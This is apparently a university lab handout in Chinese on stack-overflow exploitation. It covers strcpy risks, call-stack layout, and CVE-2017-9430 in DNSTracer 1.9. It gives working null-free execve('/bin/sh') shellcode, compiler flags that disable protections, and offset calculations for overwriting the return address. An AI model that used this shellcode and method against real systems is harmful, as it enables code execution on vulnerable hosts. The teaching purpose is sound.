Linux漏洞利用实验指导

格式

实验目的

- 了解strcpy函数的行为及其危险性
- 结合《计算机体系结构》课程中调用栈的知识，学习栈溢出的漏洞利用
- 结合《操作系统》课程中系统调用的知识，学习Shellcode编写
- 了解strcpy的漏洞修复手段，以及gcc的安全保护机制

实验器材

- OS：~~uname -a~~
- gcc：~~gcc --version~~

实验内容

- 下载并编译DNSTracer源码
- 关闭gcc安全保护机制
- 分析strcpy栈溢出漏洞，编写Shellcode并成功利用漏洞
- 开启gcc安全保护机制，对比前后不同之处

实验原理

~~见后文~~

C标准库strcpy函数

C风格字符串

C风格字符串：特指在C语言中字符串的存储方式，其是以0为终止的字符数组；C标准库中提供的字符串处理函数都基于此数据结构来实现。

strcpy函数定义（非原版，仅实现相同行为）：复制字符串

```
char *strcpy(char *dst, const char *src) {
  char *res = dst;
  do {
    *(dst++) = *src;
  } while (0 != *(src++));
  return res;
}
```

函数行为

函数中将src指向的字符串向dst指向的存储区写入。 C认为字符串的结尾是0，故使用循环复制，直到读取的待复制字符为0时停止。

危险分析

由于函数写入的终止条件只与src有关，而不关心被写入区dst的边界，当dst的大小小于src的大小时可能发生缓冲区溢出，即对数组的写入超出其范围，导致其他数据被覆盖。

函数调用栈与栈溢出覆盖返回地址

函数，或称为子程序，在程序中主要起到代码复用与简化的作用。函数调用时，当前函数保存处理机现场，按照调用规则设定好调用参数，然后将处理机交给被调函数（即跳转）。由于函数调用具有后调用先结束的特性，就使用具有后进先出特点的栈来进行函数数据的保存，此栈称调用栈。 被保存的处理机现场中，有一个地址指示调用者在函数调用后执行的下一个指令（如现场的恢复）。当被调者结束时，就跳转到这一位置。而这一数据如果被改写，将会导致程序的行为改变。 然而，计算机体系不仅引入了这一机制，还使用了使该数据容易被改写的结构：为了堆地址的利用空间尽可能大，栈的地址与其相反从高位向低位增长；而数据的写入往往是从低地址向高地址写入的。这就导致了在栈上发生缓冲区溢出时，写入的数据可以覆盖前面的函数的数据。

漏洞修复手段

strcpy漏洞的根源在于其没有对写入区域做检查，解决方法有二：

- 在调用strcpy之前调用strlen检查src的长度，若其大于等于dst的大小，则告警。这里需要注意，strlen函数不会将结尾的0计入长度，而strcpy会复制该0，这会导致堆溢出Off-By-One漏洞
- 在strcpy的过程中限制最大写入长度，即改用strncpy函数

系统调用与ShellCode

Linux系统通过`int 80`指令发起系统调用，调用者要在寄存器中填写相关参数，格式如下：

- %rax：调用号，这里只讨论59即sys_execve
- %rdi：要执行的文件路径
- %rsi：命令行参数，可以为0
- %rdx：环境变量，可以为0

```
SysCallShell:
    movq      $0x68732f6e69622fff, %rdi
    shr       $8, %rdi
    pushq     %rdi
    movb    $59, %al
    xorl    %edx, %edx
    xorl      %esi, %esi
    movq    %rsp, %rdi
    syscall
    ret
```

```
0000000000000000 <SysCallShell>:
   0:   48 bf ff 2f 62 69 6e    movabs $0x68732f6e69622fff,%rdi
```

```
   7:   2f 73 68
   a:   48 c1 ef 08             shr    $0x8,%rdi
   e:   57                      push   %rdi
   f:   b0 3b                   mov    $0x3b,%al
  11:   31 d2                   xor    %edx,%edx
  13:   31 f6                   xor    %esi,%esi
  15:   48 89 e7                mov    %rsp,%rdi
  18:   0f 05                   syscall
  1a:   c3                      retq
```

写入数据并作为指令执行的即为ShellCode，注意写入时要规避写入限制，如strcpy函数以0字节为终止标记，故ShellCode中不能出现0字节。

```
'\x48\xbf\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\xb0\x3b\x31\xd2\x31\
xf6\x48\x89\xe7\x0f\x05'
```

CVE-2017-9430漏洞

DNSTracer是一个用来跟踪DNS解析过程的应用程序。DNSTracer 1.9及之前的版本中存在栈缓冲区溢出漏洞。攻击者可借助带有较长参数的命令行利用该漏洞造成拒绝服务攻击。

环境准备

下载解压DNSTracer源码

```
wget http://www.mavetju.org/download/dnstracer-1.9.tar.gz
tar zxvf dnstracer-1.9.tar.gz
cd dnstracer-1.9
./confugure
```

允许关闭掉gcc的各种安全保护机制，编辑Makefile第110行：

```
CFLAGS = -g -O2 -z norelro -z execstack -no-pie -fno-stack-protector
```

最后用`make`命令构建并尝试执行

```
make
./dnstracer
```

漏洞分析

由于代码开源，这里直接分析源代码：

dnstracer.c第1622行，main函数中：

```
strcpy(argv0, argv[0]);
```

dnstracer.c第1515行，main函数中：

```
char argv0[NS_MAXDNAME];
```

dnstracer_broken.h第59行

```
#define NS_MAXDNAME 1024
```

可见程序从未知长度的输入参数向大小为1024的栈上缓冲区argv0写入数据，由此会引发栈溢出。

漏洞复现

`dnstracer -v`参数接受一个长字符串作为参数，随便输入一个超长字符串，发生缓冲区溢出。

```
./dnstracer -v $(python3 -c "print('A'*int(1e5))")
```

```
*** buffer overflow detected ***: terminated
Aborted (core dumped)
```

用objdump反汇编dnstracer：

```
objdump -d ./dnstracer > ./dnstracer.od
vim -R dnstracer.od
```

```
401270:     41 57                       push %r15
401272:     41 56                       push %r14
401274:     41 55                       push %r13
401276:     41 54                       push %r12
401278:     55                          push %rbp
401279:     89 fd                       mov %edi,%ebp
40127b:     53                          push %rbx
40127c:     48 89 f3                    mov %rsi,%rbx
40127f:     48 81 ec 38 08 00 00        sub $0x838,%rsp
...
401554:     48 8d ac 24 20 04 00 00     lea 0x420(%rsp),%rbp
```

```
40155c:     4c 89 e6                    mov %r12,%rsi
40155f:     48 89 ef                    mov %rbp,%rdi
401562:     e8 29 fb ff ff              call 401090 <strcpy@plt>
```

计算溢出点（argv0）在栈帧中的偏移：main函数开始时push有6次都是8字节，之后开辟了0x838字节大小的栈空间，此时%rsp的值即栈帧顶偏移为-(8*6+0x838)；调用strcpy时，%rdi（即argv0）被赋值为%rsp+0x420，故溢出点在栈帧中的偏移为-(8*6+0x838)+0x420。验证，在填充这个量的数据后，再多写一个字节便会出现段错误。

gdb调试得出溢出点argv0地址，然后先写入0x1a字节的ShellCode，再写入8*6+0x838-0x420-0x1a字节的填充，最后覆盖返回地址为溢出点地址。